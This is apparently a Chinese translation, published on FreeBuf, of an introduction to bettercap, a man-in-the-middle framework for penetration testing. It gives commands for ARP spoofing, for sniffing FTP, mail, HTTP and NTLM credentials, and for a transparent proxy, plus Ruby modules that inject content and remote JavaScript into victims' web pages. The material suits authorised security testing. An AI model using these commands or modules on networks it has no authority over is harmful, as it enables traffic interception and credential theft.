完整,模塊化,輕量級,易擴展的MITM框架 – bettercap
bettercap是一款完整,模塊化,輕量級,易擴展的中間人攻擊測試工具和框架。
安裝
穩定版本( GEM )
gem install bettercap
源碼編譯
git clone https://github.com/evilsocket/bettercap cd bettercap gem build bettercap.gemspec sudo gem install bettercap*.gem
所有的依賴庫都會通過GEM自動安裝。為了保證正常運行,在某些情況下你可能需要安裝一些系統依賴
sudo apt-get install ruby-dev libpcap-dev
你為什么需要bettercap
另一個中間人攻擊工具?這是真的呢!!
這不正是你現在正在想的么?好了現在給你5分鐘時間思考,或許你會這么問:
一款完整,模塊化,輕量級,易擴展的中間人攻擊工具和框架真的存在么?
如果你的回答是“ettercap”,那么讓我來告訴你一些事:
1.ettercap是一款不可多得的工具,但已經過時了。 2.我們發現ettercap的過濾十分簡單,已經成為了過去式。并且也沒有那么多的C開發者愿意繼續維護這個項目。 3.ettercap在大網絡下十分不穩定,如果你嘗試在大型網絡使用ettercap的主機探索功能,你就知道有多蛋疼了。 4.對的,你可以看到連接和raw pcap。很漂亮的一款玩具,但是作為一名專用人員我只想看到我想要的東西。 5.除非你是一名C\C++開發者,那么你不能夠輕松擴展ettercap,更別談什么制作自己的模塊了。
事實上你使用的不僅僅是一款工具,或許還會使用到arpspoof進行Arp欺騙,mitmproxy攔截HTTP內容并注入你的payload等等。對于我來說,我很討厭進行一項簡單的攻擊卻需要使用一大堆的工具來進行操作。
所以bettercap誕生了!
主機發現+Arp中間人
你可以將整個本地網絡或者一個有針對性的IP地址作為目標,這都沒有關系。bettercap arp spoofing功能以及它的多個主機發現代理能夠將令人煩躁的步驟簡化。你只需要啟動工具,然后等待它完成工作。
憑證嗅探器
內置的嗅探器目前能夠分析打印如下網絡內容:
1.被訪問的URLs 2.被訪問過的HTTPS主機 3.HTTP發布過的數據 4.HTTP Basic認證以及摘要認證 5.FTP憑證 6.IRC憑證 7.POP, IMAP以及SMTP憑證 8.NTLMv1/v2 ( HTTP, SMB, LDAP等) 憑證
示例:
嗅探器默認的模式,所有解析器啟用:
sudo bettercap -X
啟用嗅探器,啟用指定解析器:
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
啟用嗅探器+所有解析器,此外并解析本地通信
sudo bettercap -X -L
模塊化的透明代理
一個模塊化的透明代理,可以從使用–proxy參數開始。除非你記錄HTTP請求,在默認情況下他不會做任何事。當然你也可以指定一個–proxy-module參數,這樣你就可以加載自己的模塊,隨意操作HTTP流量咯。
你可以在我的 github項目 中找到一些示范樣列
示例:
默認端口(8080)啟用代理,不帶任何模塊
sudo bettercap --proxy
使用自定義端口啟用代理
sudo bettercap --proxy --proxy-port=8081
啟用代理并加載hack_title.rb模塊
sudo bettercap --proxy --proxy-module=hack_title.rb
禁用spoofer并啟用代理(獨立代理模式)
sudo bettercap -S NONE --proxy
模塊:
使用模塊你可以十分輕松的將數據注入到頁面中,下面這個簡單模塊可以將一些內容注入到html頁面的標簽中。
class HackTitle < Proxy::Module def on_request( request, response ) # is it a html page? if response.content_type == 'text/html' Logger.info "Hacking http://#{request.host}#{request.url} title tag" # make sure to use sub! or gsub! to update the instance response.body.sub!( '<title>', '<title> !!! HACKED !!! ' ) end endend
內置HTTP服務器
你想將你自定義的JavaScript文件放到網絡上么?也許你想使用透明代理模塊將自定義腳本或圖片注入到HTTP響應中,但你沒有公共服務器可使用?這都不算事!
bettercap內置一個HTTP服務器,允許你從自己的機器上定制內容,而不需要安裝配置諸如Apache, nginx 或者lighttpd等軟件。
你需要使用proxy module模塊:
class InjectJS < Proxy::Module def on_request( request, response ) # is it a html page? if response.content_type == 'text/html' Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page" # get the local interface address and HTTPD port localaddr = Context.get.iface[:ip_saddr] localport = Context.get.options[:httpd_port] # inject the js response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" ) end end end
接著使用它就能將JS文件注入到HTTP響應中,使用bettercap來管理這個文件
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
* 參考來源 bettercap ,譯者/鳶尾 轉載請注明來自FreeBuf黑客與極客(FreeBuf.COM)